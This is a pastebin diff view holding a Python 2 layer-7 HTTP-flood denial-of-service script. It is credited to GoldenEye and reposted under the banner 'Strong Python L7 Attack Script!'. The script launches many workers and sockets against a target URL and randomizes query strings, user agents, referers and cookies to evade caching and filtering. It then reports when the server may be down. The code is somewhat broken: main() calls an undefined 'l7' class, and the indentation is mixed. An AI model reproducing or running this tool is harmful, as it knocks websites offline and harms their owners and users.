View difference between Paste ID: pRVMUvKt and mn1p2BUT
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python
2
3
from multiprocessing import Process, Manager, Pool
4
import urlparse, ssl
5
import sys, getopt, random, time, os
6
7
if  sys.version_info < (3,0):
8
    import httplib
9
    HTTPCLIENT = httplib
10
else:
11
    import http.client
12
    HTTPCLIENT = http.client
13
14
DEBUG = False
15
16
METHOD_GET  = 'get'
17
METHOD_POST = 'post'
18
METHOD_RAND = 'random'
19
20
JOIN_TIMEOUT=1.0
21
22
DEFAULT_WORKERS=10
23
DEFAULT_SOCKETS=500
24
25
L7_BANNER = ' Strong Python L7 Attack Script! [get/post/random]'
26
27
USER_AGENT_PARTS = {
28
    'os': {
29
        'linux': {
30
            'name': [ 'Linux x86_64', 'Linux i386' ],
31
            'ext': [ 'X11' ]
32
        },
33
        'windows': {
34
            'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
35
            'ext': [ 'WOW64', 'Win64; x64' ]
36
        },
37
        'mac': {
38
            'name': [ 'Macintosh' ],
39
            'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
40
        },
41
    },
42
    'platform': {
43
        'webkit': {
44
            'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
45
            'details': [ 'KHTML, like Gecko' ],
46
            'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
47
        },
48
        'iexplorer': {
49
            'browser_info': {
50
                'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
51
                'ext_pre': [ 'compatible', 'Windows; U' ],
52
                'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
53
            }
54
        },
55
        'gecko': {
56
            'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
57
            'details': [],
58
            'extensions': []
59
        }
60
    }
61
}
62
63
class GoldenEye(object):
64
    counter = [0, 0]
65
    last_counter = [0, 0]
66
    workersQueue = []
67
    manager = None
68
    useragents = []
69
    url = None
70
    nr_workers = DEFAULT_WORKERS
71
    nr_sockets = DEFAULT_SOCKETS
72
    method = METHOD_GET
73
74
    def __init__(self, url):
75
        self.url = url
76
        self.manager = Manager()
77
        self.counter = self.manager.list((0, 0))
78
    def exit(self):
79
        self.stats()
80
        print "Shutting down GoldenEye"
81
    def __del__(self):
82
        self.exit()
83
    def printHeader(self):
84
85
        # Taunt!
86
        print
87
        print L7_BANNER
88
        print
89
90
    def fire(self):
91
92
        self.printHeader()
93
        print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)
94
        if DEBUG:
95
            print "Starting {0} concurrent workers".format(self.nr_workers)
96
        for i in range(int(self.nr_workers)):
97
            try:
98
                worker = Striker(self.url, self.nr_sockets, self.counter)
99
                worker.useragents = self.useragents
100
                worker.method = self.method
101
102
                self.workersQueue.append(worker)
103
                worker.start()
104
            except (Exception):
105
                error("Failed to start worker {0}".format(i))
106
                pass 
107
108
        if DEBUG:
109
            print "Initiating monitor"
110
        self.monitor()
111
112
    def stats(self):
113
114
        try:
115
            if self.counter[0] > 0 or self.counter[1] > 0:
116
117
                print "{0} L7 dumpz deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
118
119
                if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
120
                    print "\tServer may be DOWN!"
121
    
122
                self.last_counter[0] = self.counter[0]
123
                self.last_counter[1] = self.counter[1]
124
        except (Exception):
125
            pass
126
127
    def monitor(self):
128
        while len(self.workersQueue) > 0:
129
            try:
130
                for worker in self.workersQueue:
131
                    if worker is not None and worker.is_alive():
132
                        worker.join(JOIN_TIMEOUT)
133
                    else:
134
                        self.workersQueue.remove(worker)
135
136
                self.stats()
137
138
            except (KeyboardInterrupt, SystemExit):
139
                print "CTRL+C received. Killing all workers"
140
                for worker in self.workersQueue:
141
                    try:
142
                        if DEBUG:
143
                            print "Killing worker {0}".format(worker.name)
144
                        worker.stop()
145
                    except Exception, ex:
146
                        pass
147
                if DEBUG:
148
                    raise
149
                else:
150
                    pass
151
152
class Striker(Process):
153
154
    request_count = 0
155
    failed_count = 0
156
    url = None
157
    host = None
158
    port = 80
159
    ssl = False
160
    referers = []
161
    useragents = []
162
    socks = []
163
    counter = None
164
    nr_socks = DEFAULT_SOCKETS
165
    runnable = True
166
    method = METHOD_GET
167
    def __init__(self, url, nr_sockets, counter):
168
        super(Striker, self).__init__()
169
        self.counter = counter
170
        self.nr_socks = nr_sockets
171
        parsedUrl = urlparse.urlparse(url)
172
        if parsedUrl.scheme == 'https':
173
            self.ssl = True
174
        self.host = parsedUrl.netloc.split(':')[0]
175
        self.url = parsedUrl.path
176
        self.port = parsedUrl.port
177
178
        if not self.port:
179
            self.port = 80 if not self.ssl else 443
180
181
        self.referers = [ 
182
            'http://www.google.com/',
183
            'http://www.bing.com/',
184
            'http://www.baidu.com/',
185
            'http://www.yandex.com/',
186
            'http://' + self.host + '/'
187
            ]
188
189
190
    def __del__(self):
191
        self.stop()
192
    def buildblock(self, size):
193
        out_str = ''
194
        _LOWERCASE = range(97, 122)
195
        _UPPERCASE = range(65, 90)
196
        _NUMERIC   = range(48, 57)
197
        validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
198
199
        for i in range(0, size):
200
            a = random.choice(validChars)
201
            out_str += chr(a)
202
203
        return out_str
204
205
    def run(self):
206
207
        if DEBUG:
208
            print "Starting worker {0}".format(self.name)
209
        while self.runnable:
210
            try:
211
                for i in range(self.nr_socks): 
212
                    if self.ssl:
213
                        c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
214
                    else:
215
                        c = HTTPCLIENT.HTTPConnection(self.host, self.port)
216
217
                    self.socks.append(c)
218
219
                for conn_req in self.socks:
220
                    (url, headers) = self.createPayload()
221
                    method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
222
                    conn_req.request(method.upper(), url, None, headers)
223
                for conn_resp in self.socks:
224
                    resp = conn_resp.getresponse()
225
                    self.incCounter()
226
                self.closeConnections()
227
                
228
            except:
229
                self.incFailed()
230
                if DEBUG:
231
                    raise
232
                else:
233
                    pass
234
235
        if DEBUG:
236
            print "Worker {0} completed run. Sleeping...".format(self.name)
237
            
238
    def closeConnections(self):
239
        for conn in self.socks:
240
            try:
241
                conn.close()
242
            except:
243
                pass
244
            
245
246
    def createPayload(self):
247
248
        req_url, headers = self.generateData()
249
250
        random_keys = headers.keys()
251
        random.shuffle(random_keys)
252
        random_headers = {}
253
        
254
        for header_name in random_keys:
255
            random_headers[header_name] = headers[header_name]
256
257
        return (req_url, random_headers)
258
259
    def generateQueryString(self, ammount = 1):
260
261
        queryString = []
262
263
        for i in range(ammount):
264
265
            key = self.buildblock(random.randint(3,10))
266
            value = self.buildblock(random.randint(3,20))
267
            element = "{0}={1}".format(key, value)
268
            queryString.append(element)
269
270
        return '&'.join(queryString)
271
            
272
    
273
    def generateData(self):
274
275
        returnCode = 0
276
        param_joiner = "?"
277
278
        if len(self.url) == 0:
279
            self.url = '/'
280
281
        if self.url.count("?") > 0:
282
            param_joiner = "&"
283
284
        request_url = self.generateRequestUrl(param_joiner)
285
286
        http_headers = self.generateRandomHeaders()
287
288
289
        return (request_url, http_headers)
290
291
    def generateRequestUrl(self, param_joiner = '?'):
292
293
        return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
294
295
    def getUserAgent(self):
296
297
        if self.useragents:
298
            return random.choice(self.useragents)
299
300
        mozilla_version = "Mozilla/5.0"
301
        os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
302
        os_name = random.choice(os['name']) 
303
        sysinfo = os_name
304
        platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
305
        if 'browser_info' in platform and platform['browser_info']:
306
            browser = platform['browser_info']
307
308
            browser_string = random.choice(browser['name'])
309
310
            if 'ext_pre' in browser:
311
                browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
312
313
            sysinfo = "%s; %s" % (browser_string, sysinfo)
314
315
            if 'ext_post' in browser:
316
                sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
317
318
319
        if 'ext' in os and os['ext']:
320
            sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
321
322
        ua_string = "%s (%s)" % (mozilla_version, sysinfo)
323
324
        if 'name' in platform and platform['name']:
325
            ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
326
327
        if 'details' in platform and platform['details']:
328
            ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
329
330
        if 'extensions' in platform and platform['extensions']:
331
            ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
332
333
        return ua_string
334
335
    def generateRandomHeaders(self):
336
337
        noCacheDirectives = ['no-cache', 'max-age=0']
338
        random.shuffle(noCacheDirectives)
339
        nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
340
        noCache = ', '.join(noCacheDirectives[:nrNoCache])
341
        acceptEncoding = ['\'\'','*','identity','gzip','deflate']
342
        random.shuffle(acceptEncoding)
343
        nrEncodings = random.randint(1,len(acceptEncoding)/2)
344
        roundEncodings = acceptEncoding[:nrEncodings]
345
346
        http_headers = {
347
            'User-Agent': self.getUserAgent(),
348
            'Cache-Control': noCache,
349
            'Accept-Encoding': ', '.join(roundEncodings),
350
            'Connection': 'keep-alive',
351
            'Keep-Alive': random.randint(1,1000),
352
            'Host': self.host,
353
        }
354
    
355
        if random.randrange(2) == 0:
356
            acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
357
            random.shuffle(acceptCharset)
358
            http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
359
360
        if random.randrange(2) == 0:
361
            url_part = self.buildblock(random.randint(5,10))
362
363
            random_referer = random.choice(self.referers) + url_part
364
            
365
            if random.randrange(2) == 0:
366
                random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
367
368
            http_headers['Referer'] = random_referer
369
370
        if random.randrange(2) == 0:
371
            http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
372
373
        if random.randrange(2) == 0:
374
            http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
375
376
        return http_headers
377
378
    def stop(self):
379
        self.runnable = False
380
        self.closeConnections()
381
        self.terminate()
382
383
    def incCounter(self):
384
        try:
385
            self.counter[0] += 1
386
        except (Exception):
387
            pass
388
389
    def incFailed(self):
390
        try:
391
            self.counter[1] += 1
392
        except (Exception):
393
            pass
394
395
def usage():
396
    print
397
    print '-----------------------------------------------------------------------------------------------------'
398
    print
399
    print L7_BANNER
400
    print 
401
    print ' USAGE: python l7.py <url> [OPTIONS]'
402
    print
403
    print 'OPTIONS:'
404
    print 'Flag\t\t\tDescription\t\t\t\t\tDefault'
405
    print '-u, --useragents\tFile with user-agents to use\t\t\t(default: randomly generated)'
406
    print '-w, --workers\t\tNumber of concurrent workers\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
407
    print '-s, --sockets\t\tNumber of concurrent sockets\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
408
    print '-m, --method\t\tHTTP Method to use \'get\' or \'post\'  or \'random\'\t(default: get)'
409
    print '-d, --debug\t\tEnable Debug Mode [more verbose output]\t\t(default: False)'
410
    print '-h, --help\t\tShows this help'
411
    print
412
    print '-----------------------------------------------------------------------------------------------------'
413
414
    
415
def error(msg):
416
    sys.stderr.write(str(msg+"\n"))
417
    usage()
418
    sys.exit(2)
419
420
def main():
421
    
422
    try:
423
424
        if len(sys.argv) < 2:
425
            error('Please supply at least the URL')
426
427
        url = sys.argv[1]
428
429
        if url == '-h':
430
            usage()
431
            sys.exit()
432
433
        if url[0:4].lower() != 'http':
434
            error("Invalid URL supplied")
435
436
        if url == None:
437
            error("No URL supplied")
438
439
        opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ])
440
441
        workers = DEFAULT_WORKERS
442
        socks = DEFAULT_SOCKETS
443
        method = METHOD_GET
444
445
        uas_file = None
446
        useragents = []
447
448
        for o, a in opts:
449
            if o in ("-h", "--help"):
450
                usage()
451
                sys.exit()
452
            elif o in ("-u", "--useragents"):
453
                uas_file = a
454
            elif o in ("-s", "--sockets"):
455
                socks = int(a)
456
            elif o in ("-w", "--workers"):
457
                workers = int(a)
458
            elif o in ("-d", "--debug"):
459
                global DEBUG
460
                DEBUG = True
461
            elif o in ("-m", "--method"):
462
                if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
463
                    method = a
464
                else:
465
                    error("method {0} is invalid".format(a))
466
            else:
467
                error("option '"+o+"' doesn't exists")
468
469
470
        if uas_file:
471
            try:
472
                with open(uas_file) as f:
473
                    useragents = f.readlines()
474
            except EnvironmentError:
475
                    error("cannot read file {0}".format(uas_file))
476
477
        l7 = l7(url)
478
        l7.useragents = useragents
479
        l7.nr_workers = workers
480
        l7.method = method
481
        l7.nr_sockets = socks
482
483
        l7.fire()
484
485
    except getopt.GetoptError, err:
486
487
		sys.stderr.write(str(err))
488
        usage()
489
        sys.exit(2)
490
491
if __name__ == "__main__":
492
    main() # CRED: GOLDENEYE!!! P.S. DIDNT CODE THIS JUST POSTING ~LiGhT